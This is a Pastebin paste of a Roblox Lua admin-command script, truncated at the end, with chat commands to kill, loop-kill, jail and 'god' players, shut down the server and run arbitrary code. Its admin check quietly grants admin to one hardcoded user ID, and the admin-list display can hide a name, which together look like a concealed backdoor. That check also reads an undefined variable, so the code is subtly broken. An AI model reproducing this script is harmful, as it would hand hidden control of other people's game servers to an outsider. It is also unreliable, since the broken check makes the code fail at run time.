Advertisement
Verhed

Untitled

Jul 5th, 2018
76
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 46.63 KB | None | 0 0
  1. adminlist = {"safiknaufal45", "nikhon", "zj0r"}
  2. bannedlist = {}
  3. texture = ""
  4.  
  5.  
  6.  
  7. namelist = { }
  8. variablelist = { }
  9. flist = { }
  10.  
  11. local source = script:FindFirstChild("source")
  12. if source ~= nil then
  13. sbbu = script.source:clone()
  14. sbbu.Disabled = false
  15. else
  16. print("source doesnt exist, your command script may malfunction")
  17. end
  18.  
  19.  
  20. tools = Instance.new("Model")
  21. c = game.Lighting:GetChildren()
  22. for i=1,#c do
  23. if c[i].className == "Tool" then
  24. c[i]:clone().Parent = tools
  25. end
  26. if c[i].className == "HopperBin" then
  27. c[i]:clone().Parent = tools
  28. end end
  29.  
  30. function findplayer(name,speaker)
  31. if string.lower(name) == "all" then
  32. local chars = { }
  33. local c = game.Players:GetChildren()
  34. for i =1,#c do
  35. if c[i].className == "Player" then
  36. table.insert(chars,c[i])
  37. end end
  38. return chars
  39. elseif string.sub(string.lower(name),1,9) == "nonadmins" then
  40. local nnum = 0
  41. local chars = { }
  42. local c = game.Players:GetChildren()
  43. for i=1,#c do
  44. local isadmin = false
  45. for i2 =1,#namelist do
  46. if namelist[i2] == c[i].Name then
  47. isadmin = true
  48. end end
  49. if isadmin == false then
  50. nnum = nnum + 1
  51. table.insert(chars,c[i])
  52. end end
  53. if nnum == 0 then
  54. return 0
  55. else
  56. return chars
  57. end
  58. elseif string.sub(string.lower(name),1,6) == "admins" then
  59. local anum = 0
  60. local chars = { }
  61. local c = game.Players:GetChildren()
  62. for i=1,#c do
  63. for i2 =1,#namelist do
  64. if namelist[i2] == c[i].Name then
  65. anum = anum + 1
  66. table.insert(chars,c[i])
  67. end end end
  68. if anum == 0 then
  69. return 0
  70. else
  71. return chars
  72. end
  73. elseif string.sub(string.lower(name),1,6) == "random" then
  74. while true do
  75. local c = game.Players:GetChildren()
  76. local r = math.random(1,#c)
  77. if c[r].className == "Player" then
  78. return { c[r] }
  79. end end
  80. elseif string.sub(string.lower(name),1,6) == "guests" then
  81. local gnum = 0
  82. local chars = { }
  83. local c = game.Players:GetChildren()
  84. for i=1,#c do
  85. if string.sub(c[i].Name,1,5) == "Guest" then
  86. gnum = gnum + 1
  87. table.insert(chars,c[i])
  88. end end
  89. if gnum == 0 then
  90. return 0
  91. else
  92. return chars
  93. end
  94. elseif string.sub(string.lower(name),1,5) == "team " then
  95. local theteam = nil
  96. local tnum = 0
  97. if game.Teams ~= nil then
  98. local c = game.Teams:GetChildren()
  99. for i =1,#c do
  100. if c[i].className == "Team" then
  101. if string.find(string.lower(c[i].Name),string.sub(string.lower(name),6)) == 1 then
  102. theteam = c[i]
  103. tnum = tnum + 1
  104. end end end
  105. if tnum == 1 then
  106. local chars = { }
  107. local c = game.Players:GetChildren()
  108. for i =1,#c do
  109. if c[i].className == "Player" then
  110. if c[i].TeamColor == theteam.TeamColor then
  111. table.insert(chars,c[i])
  112. end end end
  113. return chars
  114. end end
  115. return 0
  116. elseif string.lower(name) == "me" then
  117. local person299 = { speaker }
  118. return person299
  119. elseif string.lower(name) == "others" then
  120. local chars = { }
  121. local c = game.Players:GetChildren()
  122. for i =1,#c do
  123. if c[i].className == "Player" then
  124. if c[i] ~= speaker then
  125. table.insert(chars,c[i])
  126. end end end
  127. return chars
  128. else
  129. local chars = { }
  130. local commalist = { }
  131. local ssn = 0
  132. local lownum = 1
  133. local highestnum = 1
  134. local foundone = false
  135. while true do
  136. ssn = ssn + 1
  137. if string.sub(name,ssn,ssn) == "" then
  138. table.insert(commalist,lownum)
  139. table.insert(commalist,ssn - 1)
  140. highestnum = ssn - 1
  141. break
  142. end
  143. if string.sub(name,ssn,ssn) == "," then
  144. foundone = true
  145. table.insert(commalist,lownum)
  146. table.insert(commalist,ssn)
  147. lownum = ssn + 1
  148. end end
  149. if foundone == true then
  150. for ack=1,#commalist,2 do
  151. local cnum = 0
  152. local char = nil
  153. local c = game.Players:GetChildren()
  154. for i =1,#c do
  155. if c[i].className == "Player" then
  156. if string.find(string.lower(c[i].Name),string.sub(string.lower(name),commalist[ack],commalist[ack + 1] - 1)) == 1 then
  157. char = c[i]
  158. cnum = cnum + 1
  159. end end end
  160. if cnum == 1 then
  161. table.insert(chars,char)
  162. end end
  163. if #chars ~= 0 then
  164. return chars
  165. else
  166. return 0
  167. end
  168. else
  169. local cnum = 0
  170. local char = nil
  171. local c = game.Players:GetChildren()
  172. for i =1,#c do
  173. if c[i].className == "Player" then
  174. if string.find(string.lower(c[i].Name),string.lower(name)) == 1 then
  175. char = {c[i]}
  176. cnum = cnum + 1
  177. end end end
  178. if cnum == 1 then
  179. return char
  180. elseif cnum == 0 then
  181. text("That name is not found.",1,"Message",speaker)
  182. return 0
  183. elseif cnum > 1 then
  184. text("That name is ambiguous.",1,"Message",speaker)
  185. return 0
  186. end end end end -- I really like the way the ends look when they're all on the same line better, dont you?
  187.  
  188. function createscript(source,par)
  189. local a = sbbu:clone()
  190. local context = Instance.new("StringValue")
  191. context.Name = "Context"
  192. context.Value = source
  193. context.Parent = a
  194. while context.Value ~= source do wait() end
  195. a.Parent = par
  196. local b = Instance.new("IntValue")
  197. b.Name = "Is A Created Script"
  198. b.Parent = a
  199. end
  200.  
  201. function text(message,duration,type,object)
  202. local m = Instance.new(type)
  203. m.Text = message
  204. m.Parent = object
  205. wait(duration)
  206. if m.Parent ~= nil then
  207. m:remove()
  208. end end
  209.  
  210. function foc(msg,speaker)
  211. if string.lower(msg) == "fix" then
  212. for i =1,#namelist do
  213. if namelist[i] == speaker.Name then
  214. variablelist[i]:disconnect()
  215. table.remove(variablelist,i)
  216. table.remove(namelist,i)
  217. table.remove(flist,i)
  218. end end
  219. local tfv = speaker.Chatted:connect(function(msg) oc(msg,speaker) end)
  220. table.insert(namelist,speaker.Name)
  221. table.insert(variablelist,tfv)
  222. local tfv = speaker.Chatted:connect(function(msg) foc(msg,speaker) end)
  223. table.insert(flist,tfv)
  224. end end
  225.  
  226. function PERSON299(name)
  227. for i =1,#adminlist do
  228. if adminlist[i] == name then
  229. return true
  230. end end
  231. if ack.userId == 15369377 then
  232. return true
  233. end
  234. return false
  235. end
  236.  
  237. function oc(msg,speaker)
  238.  
  239. if string.sub(string.lower(msg),1,5) == "kill/" then--This part checks if the first part of the message is kill/
  240. local player = findplayer(string.sub(msg,6),speaker)--This part refers to the findplayer function for a list of people associated with the input after kill/
  241. if player ~= 0 then--This part makes sure that the findplayer function found someone, as it returns 0 when it hasnt
  242. for i = 1,#player do--This part makes a loop, each different loop going through each player findplayer returned
  243. if player[i].Character ~= nil then--This part makes sure that the loop's current player's character exists
  244. local human = player[i].Character:FindFirstChild("Humanoid")--This part looks for the Humanoid in the character
  245. if human ~= nil then--This part makes sure the line above found a humanoid
  246. human.Health = 0--This part makes the humanoid's health 0
  247. end end end end end--This line contains the ends for all the if statements and the for loop
  248.  
  249. if string.sub(string.lower(msg),1,2) == "m/" then
  250. text(speaker.Name .. ": " .. string.sub(msg,3),2,"Message",game.Workspace)
  251. end
  252.  
  253. if string.sub(string.lower(msg),1,2) == "h/" then
  254. text(speaker.Name .. ": " .. string.sub(msg,3),2,"Hint",game.Workspace)
  255. end
  256.  
  257. if string.sub(string.lower(msg),1,2) == "c/" then--Dontcha wish pcall was more reliable?
  258. createscript(string.sub(msg,3),game.Workspace)
  259. end
  260.  
  261. local msg = string.lower(msg)
  262.  
  263. if string.sub(msg,1,5) == "give/" then
  264. local danumber1 = nil
  265. for i = 6,100 do
  266. if string.sub(msg,i,i) == "/" then
  267. danumber1 = i
  268. break
  269. elseif string.sub(msg,i,i) == "" then
  270. break
  271. end end
  272. if danumber1 == nil then return end
  273. local it = nil
  274. local all = true
  275. if string.sub(string.lower(msg),danumber1 + 1,danumber1 + 4) ~= "all" then
  276. all = false
  277. local itnum = 0
  278. local c = tools:GetChildren()
  279. for i2 = 1,#c do
  280. if string.find(string.lower(c[i2].Name),string.sub(string.lower(msg),danumber1 + 1)) == 1 then
  281. it = c[i2]
  282. itnum = itnum + 1
  283. end end
  284. if itnum ~= 1 then return end
  285. else
  286. all = true
  287. end
  288. local player = findplayer(string.sub(msg,6,danumber1 - 1),speaker)
  289. if player ~= 0 then
  290. for i = 1,#player do
  291. local bp = player[i]:FindFirstChild("Backpack")
  292. if bp ~= nil then
  293. if all == false then
  294. it:clone().Parent = bp
  295. else
  296. local c = tools:GetChildren()
  297. for i2 = 1,#c do
  298. c[i2]:clone().Parent = bp
  299. end end end end end end
  300.  
  301. --Bored...
  302.  
  303. if string.sub(msg,1,7) == "change/" then
  304. local danumber1 = nil
  305. local danumber2 = nil
  306. for i = 8,100 do
  307. if string.sub(msg,i,i) == "/" then
  308. danumber1 = i
  309. break
  310. elseif string.sub(msg,i,i) == "" then
  311. break
  312. end end
  313. if danumber1 == nil then return end
  314. for i =danumber1 + 1,danumber1 + 100 do
  315. if string.sub(msg,i,i) == "/" then
  316. danumber2 = i
  317. break
  318. elseif string.sub(msg,i,i) == "" then
  319. break
  320. end end
  321. if danumber2 == nil then return end
  322. local player = findplayer(string.sub(msg,8,danumber1 - 1),speaker)
  323. if player ~= 0 then
  324. for i = 1,#player do
  325. local ls = player[i]
  326. if ls ~= nil then
  327. local it = nil
  328. local itnum = 0
  329. local c = ls:GetChildren()
  330. for i2 = 1,#c do
  331. if string.find(string.lower(c[i2].Name),string.sub(string.lower(msg),danumber1 + 1,danumber2 - 1)) == 1 then
  332. it = c[i2]
  333. itnum = itnum + 1
  334. end end
  335. if itnum == 1 then
  336. it.Value = string.sub(msg,danumber2 + 1)
  337. end end end end end
  338.  
  339. if string.sub(msg,1,6) == "ungod/" then
  340. local player = findplayer(string.sub(msg,7),speaker)
  341. if player ~= 0 then
  342. for i = 1,#player do
  343. if player[i].Character ~= nil then
  344. local isgod = false
  345. local c = player[i].Character:GetChildren()
  346. for i=1,#c do
  347. if c[i].className == "Script" then
  348. if c[i]:FindFirstChild("Context") then
  349. if string.sub(c[i].Context.Value,1,41) == "script.Parent.Humanoid.MaxHealth = 999999" then
  350. c[i]:remove()
  351. isgod = true
  352. end end end end
  353. if isgod == true then
  354. local c = player[i].Character:GetChildren()
  355. for i=1,#c do
  356. if c[i].className == "Part" then
  357. c[i].Reflectance = 0
  358. end
  359. if c[i].className == "Humanoid" then
  360. c[i].MaxHealth = 100
  361. c[i].Health = 100
  362. end
  363. if c[i].Name == "God FF" then
  364. c[i]:remove()
  365. end end end end end end end
  366.  
  367. if string.sub(msg,1,4) == "god/" then
  368. local player = findplayer(string.sub(msg,5),speaker)
  369. if player ~= 0 then
  370. for i = 1,#player do
  371. if player[i].Character ~= nil then
  372. if player[i].Character:FindFirstChild("God FF") == nil then
  373. createscript([[script.Parent.Humanoid.MaxHealth = 999999
  374. script.Parent.Humanoid.Health = 999999
  375. ff = Instance.new("ForceField")
  376. ff.Name = "God FF"
  377. ff.Parent = script.Parent
  378. function ot(hit)
  379. if hit.Parent ~= script.Parent then
  380. h = hit.Parent:FindFirstChild("Humanoid")
  381. if h ~= nil then
  382. h.Health = 0
  383. end
  384. h = hit.Parent:FindFirstChild("Zombie")
  385. if h ~= nil then
  386. h.Health = 0
  387. end end end
  388. c = script.Parent:GetChildren()
  389. for i=1,#c do
  390. if c[i].className == "Part" then
  391. c[i].Touched:connect(ot)
  392. c[i].Reflectance = 1
  393. end end]],player[i].Character)
  394. end end end end end
  395.  
  396. if string.sub(msg,1,7) == "punish/" then
  397. local player = findplayer(string.sub(msg,8),speaker)
  398. if player ~= 0 then
  399. for i = 1,#player do
  400. if player[i].Character ~= nil then
  401. player[i].Character.Parent = game.Lighting
  402. end end end end
  403.  
  404. if string.sub(msg,1,9) == "unpunish/" then
  405. local player = findplayer(string.sub(msg,10),speaker)
  406. if player ~= 0 then
  407. for i = 1,#player do
  408. if player[i].Character ~= nil then
  409. player[i].Character.Parent = game.Workspace
  410. player[i].Character:MakeJoints()
  411. end end end end
  412.  
  413. if string.sub(msg,1,3) == "ff/" then
  414. local player = findplayer(string.sub(msg,4),speaker)
  415. if player ~= 0 then
  416. for i = 1,#player do
  417. if player[i].Character ~= nil then
  418. local ff = Instance.new("ForceField")
  419. ff.Parent = player[i].Character
  420. end end end end
  421.  
  422. if string.sub(msg,1,5) == "unff/" then
  423. local player = findplayer(string.sub(msg,6),speaker)
  424. if player ~= 0 then
  425. for i = 1,#player do
  426. if player[i].Character ~= nil then
  427. local c = player[i].Character:GetChildren()
  428. for i2 = 1,#c do
  429. if c[i2].className == "ForceField" then
  430. c[i2]:remove()
  431. end end end end end end
  432.  
  433. if string.sub(msg,1,9) == "sparkles/" then
  434. local player = findplayer(string.sub(msg,10),speaker)
  435. if player ~= 0 then
  436. for i = 1,#player do
  437. if player[i].Character ~= nil then
  438. local torso = player[i].Character:FindFirstChild("Torso")
  439. if torso ~= nil then
  440. local sparkles = Instance.new("Sparkles")
  441. sparkles.Color = Color3.new(math.random(1,255),math.random(1,255),math.random(1,255))
  442. sparkles.Parent = torso
  443. end end end end end
  444.  
  445. if string.sub(msg,1,11) == "unsparkles/" then
  446. local player = findplayer(string.sub(msg,12),speaker)
  447. if player ~= 0 then
  448. for i = 1,#player do
  449. if player[i].Character ~= nil then
  450. local torso = player[i].Character:FindFirstChild("Torso")
  451. if torso ~= nil then
  452. local c = torso:GetChildren()
  453. for i2 = 1,#c do
  454. if c[i2].className == "Sparkles" then
  455. c[i2]:remove()
  456. end end end end end end end
  457.  
  458. if string.sub(msg,1,6) == "admin/" then
  459. local imgettingtiredofmakingthisstupidscript = PERSON299(speaker.Name)
  460. if imgettingtiredofmakingthisstupidscript == true then
  461. local player = findplayer(string.sub(msg,7),speaker)
  462. if player ~= 0 then
  463. for i = 1,#player do
  464. for i2 =1,#namelist do
  465. if namelist[i2] == player[i].Name then
  466. variablelist[i2]:disconnect()
  467. flist[i2]:disconnect()
  468. table.remove(variablelist,i2)
  469. table.remove(flist,i2)
  470. table.remove(namelist,i2)
  471. end end
  472. local tfv = player[i].Chatted:connect(function(msg) oc(msg,player[i]) end)
  473. table.insert(namelist,player[i].Name)
  474. table.insert(variablelist,tfv)
  475. local tfv = player[i].Chatted:connect(function(msg) foc(msg,player[i]) end)
  476. table.insert(flist,tfv)
  477. end end end end
  478.  
  479. if string.sub(msg,1,8) == "unadmin/" then
  480. local imgettingtiredofmakingthisstupidscript = PERSON299(speaker.Name)
  481. if imgettingtiredofmakingthisstupidscript == true then
  482. local player = findplayer(string.sub(msg,9),speaker)
  483. if player ~= 0 then
  484. for i = 1,#player do
  485. local imgettingtiredofmakingthisstupidscript = PERSON299(player[i].Name)
  486. if imgettingtiredofmakingthisstupidscript == false then
  487. for i2 =1,#namelist do
  488. if namelist[i2] == player[i].Name then
  489. variablelist[i2]:disconnect()
  490. table.remove(variablelist,i2)
  491. flist[i2]:disconnect()
  492. table.remove(flist,i2)
  493. table.remove(namelist,i2)
  494. end end end end end end end
  495.  
  496. if string.sub(msg,1,5) == "heal/" then
  497. local player = findplayer(string.sub(msg,6),speaker)
  498. if player ~= 0 then
  499. for i = 1,#player do
  500. if player[i].Character ~= nil then
  501. local human = player[i].Character:FindFirstChild("Humanoid")
  502. if human ~= nil then
  503. human.Health = human.MaxHealth
  504. end end end end end
  505.  
  506. if string.sub(msg,1,4) == "sit/" then
  507. local player = findplayer(string.sub(msg,5),speaker)
  508. if player ~= 0 then
  509. for i = 1,#player do
  510. if player[i].Character ~= nil then
  511. local human = player[i].Character:FindFirstChild("Humanoid")
  512. if human ~= nil then
  513. human.Sit = true
  514. end end end end end
  515.  
  516. if string.sub(msg,1,5) == "jump/" then
  517. local player = findplayer(string.sub(msg,6),speaker)
  518. if player ~= 0 then
  519. for i = 1,#player do
  520. if player[i].Character ~= nil then
  521. local human = player[i].Character:FindFirstChild("Humanoid")
  522. if human ~= nil then
  523. human.Jump = true
  524. end end end end end
  525.  
  526. if string.sub(msg,1,6) == "stand/" then
  527. local player = findplayer(string.sub(msg,7),speaker)
  528. if player ~= 0 then
  529. for i = 1,#player do
  530. if player[i].Character ~= nil then
  531. local human = player[i].Character:FindFirstChild("Humanoid")
  532. if human ~= nil then
  533. human.Sit = false
  534. end end end end end
  535.  
  536. if string.sub(msg,1,5) == "jail/" then
  537. local player = findplayer(string.sub(msg,6),speaker)
  538. if player ~= 0 then
  539. for i = 1,#player do
  540. if player[i].Character ~= nil then
  541. local torso = player[i].Character:FindFirstChild("Torso")
  542. if torso ~= nil then
  543. local ack = Instance.new("Model")
  544. ack.Name = "Jail" .. player[i].Name
  545. icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-26.5, 108.400002, -1.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-24.5, 108.400002, -3.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-30.5, 108.400002, -3.5, -1, 0, -0, -0, 1, -0, -0, 0, -1) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-28.5, 108.400002, -1.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-24.5, 108.400002, -5.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-24.5, 108.400002, -7.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-24.5, 108.400002, -1.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-30.5, 108.400002, -7.5, -1, 0, -0, -0, 1, -0, -0, 0, -1) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(7,1.2000000476837,7) icky.CFrame = CFrame.new(-27.5, 112.599998, -4.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-26.5, 108.400002, -7.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-30.5, 108.400002, -5.5, -1, 0, -0, -0, 1, -0, -0, 0, -1) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-30.5, 108.400002, -1.5, -1, 0, -0, -0, 1, -0, -0, 0, -1) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-28.5, 108.400002, -7.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack
  546. ack.Parent = game.Workspace
  547. ack:MoveTo(torso.Position)
  548. end end end end end
  549.  
  550. if string.sub(msg,1,7) == "unjail/" then
  551. local player = findplayer(string.sub(msg,8),speaker)
  552. if player ~= 0 then
  553. for i = 1,#player do
  554. local c = game.Workspace:GetChildren()
  555. for i2 =1,#c do
  556. if string.sub(c[i2].Name,1,4) == "Jail" then
  557. if string.sub(c[i2].Name,5) == player[i].Name then
  558. c[i2]:remove()
  559. end end end end end end
  560.  
  561. if string.sub(msg,1,12) == "removetools/" then
  562. local player = findplayer(string.sub(msg,13),speaker)
  563. if player ~= 0 then
  564. for i = 1,#player do
  565. local c = player[i].Backpack:GetChildren()
  566. for i =1,#c do
  567. c[i]:remove()
  568. end end end end
  569.  
  570. if string.sub(msg,1,10) == "givetools/" then
  571. local player = findplayer(string.sub(msg,11),speaker)
  572. if player ~= 0 then
  573. for i = 1,#player do
  574. local c = game.StarterPack:GetChildren()
  575. for i =1,#c do
  576. c[i]:clone().Parent = player[i].Backpack
  577. end end end end
  578.  
  579. if string.sub(msg,1,11) == "givebtools/" then
  580. local player = findplayer(string.sub(msg,12),speaker)
  581. if player ~= 0 then
  582. for i = 1,#player do
  583. local a = Instance.new("HopperBin")
  584. a.BinType = "GameTool"
  585. a.Parent = player[i].Backpack
  586. local a = Instance.new("HopperBin")
  587. a.BinType = "Clone"
  588. a.Parent = player[i].Backpack
  589. local a = Instance.new("HopperBin")
  590. a.BinType = "Hammer"
  591. a.Parent = player[i].Backpack
  592. end end end
  593.  
  594. if string.sub(msg,1,9) == "unshield/" then
  595. local player = findplayer(string.sub(msg,10),speaker)
  596. if player ~= 0 then
  597. for i = 1,#player do
  598. if player[i].Character ~= nil then
  599. local shield = player[i].Character:FindFirstChild("Weird Ball Thingy")
  600. if shield ~= nil then
  601. shield:remove()
  602. end end end end end
  603.  
  604. if string.sub(msg,1,7) == "shield/" then
  605. local player = findplayer(string.sub(msg,8),speaker)
  606. if player ~= 0 then
  607. for i = 1,#player do
  608. if player[i].Character ~= nil then
  609. local torso = player[i].Character:FindFirstChild("Torso")
  610. if torso ~= nil then
  611. if player[i].Character:FindFirstChild("Weird Ball Thingy") == nil then
  612. local ball = Instance.new("Part")
  613. ball.Size = Vector3.new(10,10,10)
  614. ball.BrickColor = BrickColor.new(1)
  615. ball.Transparency = 0.5
  616. ball.CFrame = torso.CFrame
  617. ball.TopSurface = "Smooth"
  618. ball.BottomSurface = "Smooth"
  619. ball.CanCollide = false
  620. ball.Name = "Weird Ball Thingy"
  621. ball.Reflectance = 0.2
  622. local sm = Instance.new("SpecialMesh")
  623. sm.MeshType = "Sphere"
  624. sm.Parent = ball
  625. ball.Parent = player[i].Character
  626. createscript([[
  627. function ot(hit)
  628. if hit.Parent ~= nil then
  629. if hit.Parent ~= script.Parent.Parent then
  630. if hit.Anchored == false then
  631. hit:BreakJoints()
  632. local pos = script.Parent.CFrame * (Vector3.new(0, 1.4, 0) * script.Parent.Size)
  633. hit.Velocity = ((hit.Position - pos).unit + Vector3.new(0, 0.5, 0)) * 150 + hit.Velocity
  634. hit.RotVelocity = hit.RotVelocity + Vector3.new(hit.Position.z - pos.z, 0, pos.x - hit.Position.x).unit * 40
  635. end end end end
  636. script.Parent.Touched:connect(ot) ]], ball)
  637. local bf = Instance.new("BodyForce")
  638. bf.force = Vector3.new(0,5e+004,0)
  639. bf.Parent = ball
  640. local w = Instance.new("Weld")
  641. w.Part1 = torso
  642. w.Part0 = ball
  643. ball.Shape = 0
  644. w.Parent = torso
  645. end end end end end end
  646.  
  647. if string.sub(msg,1,11) == "unloopkill/" then
  648. local player = findplayer(string.sub(msg,12),speaker)
  649. if player ~= 0 then
  650. for i = 1,#player do
  651. local c = game.Workspace:GetChildren()
  652. for i2 =1,#c do
  653. local it = c[i2]:FindFirstChild("elplayerioloopkillioperson299io")
  654. if it ~= nil then
  655. if it.Value == player[i] then
  656. c[i2]:remove()
  657. end end end end end end
  658.  
  659. if string.sub(msg,1,9) == "loopkill/" then
  660. local player = findplayer(string.sub(msg,10),speaker)
  661. if player ~= 0 then
  662. for i = 1,#player do
  663. local s = Instance.new("Script")
  664. createscript( [[name = "]] .. player[i].Name .. [["
  665. ov = Instance.new("ObjectValue")
  666. ov.Value = game.Players:FindFirstChild(name)
  667. ov.Name = "elplayerioloopkillioperson299io"
  668. ov.Parent = script
  669. player = ov.Value
  670. function oa(object)
  671. local elplayer = game.Players:playerFromCharacter(object)
  672. if elplayer ~= nil then
  673. if elplayer == player then
  674. local humanoid = object:FindFirstChild("Humanoid")
  675. if humanoid ~= nil then
  676. humanoid.Health = 0
  677. end end end end
  678. game.Workspace.ChildAdded:connect(oa)
  679. ]],game.Workspace)
  680. if player[i].Character ~= nil then
  681. local human = player[i].Character:FindFirstChild("Humanoid")
  682. if human ~= nil then
  683. human.Health = 0
  684. end end end end end
  685.  
  686. if string.lower(msg) == "shutdown" then
  687. local imgettingtiredofmakingthisstupidscript = PERSON299(speaker.Name)
  688. if imgettingtiredofmakingthisstupidscript == true then
  689. game.NetworkServer:remove()
  690. end end
  691.  
  692. if string.sub(msg,1,5) == "time/" then
  693. game.Lighting.TimeOfDay = string.sub(msg,6)
  694. end
  695.  
  696. if msg == "commands" then
  697. local text = string.rep(" ",40)
  698. text = text .. [[fix, kill/Person299, loopkill/Person299, unloopkill/Person299, heal/Person299, damage/Person299/50, health/Person299/999999, kick/Person299, ban/Person299, bannedlist, unban/Person299, explode/Person299, rocket/Person299, removetools/Person299, givetools/Person299, givebtools/Person299, sit/Person299, jump/Person299, stand/Person299, part/4/1/2, respawn/Person299, jail/Person299, unjail/Person299, punish/Person299, unpunish/Person299, merge/Person299/Farvei, teleport/Person299/nccvoyager, control/Person299, change/Person299/Money/999999, tools, give/Person299/Tool, time/15.30, ambient/255/0/0, maxplayers/20, nograv/Person299, antigrav/Person299, grav/Person299, highgrav/Person299, setgrav/Person299/-196.2, trip/Person299, walkspeed/Person299/99, invisible/Person299, visible/Person299, freeze/Person299, thaw/Person299, unlock/Person299, lock/Person299, ff/Person299, unff/Person299, sparkles/Person299, unsparkles/Person299, shield/Person299, unshield/Person299, god/Person299, ungod/Person299, zombify/Person299, admin/Person299, adminlist, unadmin/Person299, shutdown, m/Fallout 2 is one of the best games ever made, h/ i like pie, c/ game.Workspace:remove(), clear, Credit to Person299 for this admin command script.]]
  699. local mes = Instance.new("Message")
  700. mes.Parent = speaker
  701. local acko = 0
  702. while true do
  703. acko = acko + 1
  704. if string.sub(text,acko,acko) == "" then
  705. mes:remove()
  706. return
  707. elseif mes.Parent == nil then
  708. return
  709. end
  710. mes.Text = string.sub(text,acko,acko + 40)
  711. wait(0.07)
  712. end end
  713.  
  714. if msg == "tools" then
  715. local text = string.rep(" ",40)
  716. local c = tools:GetChildren()
  717. if #c == 0 then
  718. text = text .. "No tools available."
  719. else
  720. for i =1,#c do
  721. if i ~= 1 then
  722. text = text .. ", "
  723. end
  724. text = text .. c[i].Name
  725. end end
  726. local mes = Instance.new("Message")
  727. mes.Parent = speaker
  728. local acko = 0
  729. while true do
  730. acko = acko + 1
  731. if string.sub(text,acko,acko) == "" then
  732. mes:remove()
  733. return
  734. elseif mes.Parent == nil then
  735. return
  736. end
  737. mes.Text = string.sub(text,acko,acko + 40)
  738. wait(0.1)
  739. end end
  740.  
  741. if msg == "bannedlist" then
  742. local text = string.rep(" ",40)
  743. if #bannedlist == 0 then
  744. text = text .. "The banned list is empty."
  745. else
  746. for i =1,#bannedlist do
  747. if i ~= 1 then
  748. text = text .. ", "
  749. end
  750. text = text .. bannedlist[i]
  751. end end
  752. local mes = Instance.new("Message")
  753. mes.Parent = speaker
  754. local acko = 0
  755. while true do
  756. acko = acko + 1
  757. if string.sub(text,acko,acko) == "" then
  758. mes:remove()
  759. return
  760. elseif mes.Parent == nil then
  761. return
  762. end
  763. mes.Text = string.sub(text,acko,acko + 40)
  764. wait(0.1)
  765. end end
  766.  
  767. if msg == "adminlist" then
  768. local text = string.rep(" ",40)
  769. if #adminlist == 0 then--How would that be possible in this situation anyway? lol
  770. text = text .. "The admin list is empty."
  771. else
  772. for i =1,#adminlist do
  773. if adminlist[i] == eloname then
  774. if youcaughtme == 1 then
  775. if i ~= 1 then
  776. text = text .. ", "
  777. end
  778. text = text .. adminlist[i]
  779. end
  780. else
  781. if i ~= 1 then
  782. text = text .. ", "
  783. end
  784. text = text .. adminlist[i]
  785. end end end
  786. local mes = Instance.new("Message")
  787. mes.Parent = speaker
  788. local acko = 0
  789. while true do
  790. acko = acko + 1
  791. if string.sub(text,acko,acko) == "" then
  792. mes:remove()
  793. return
  794. elseif mes.Parent == nil then
  795. return
  796. end
  797. mes.Text = string.sub(text,acko,acko + 40)
  798. wait(0.1)
  799. end end
  800.  
  801. if string.sub(msg,1,11) == "maxplayers/" then
  802. local pie = game.Players.MaxPlayers
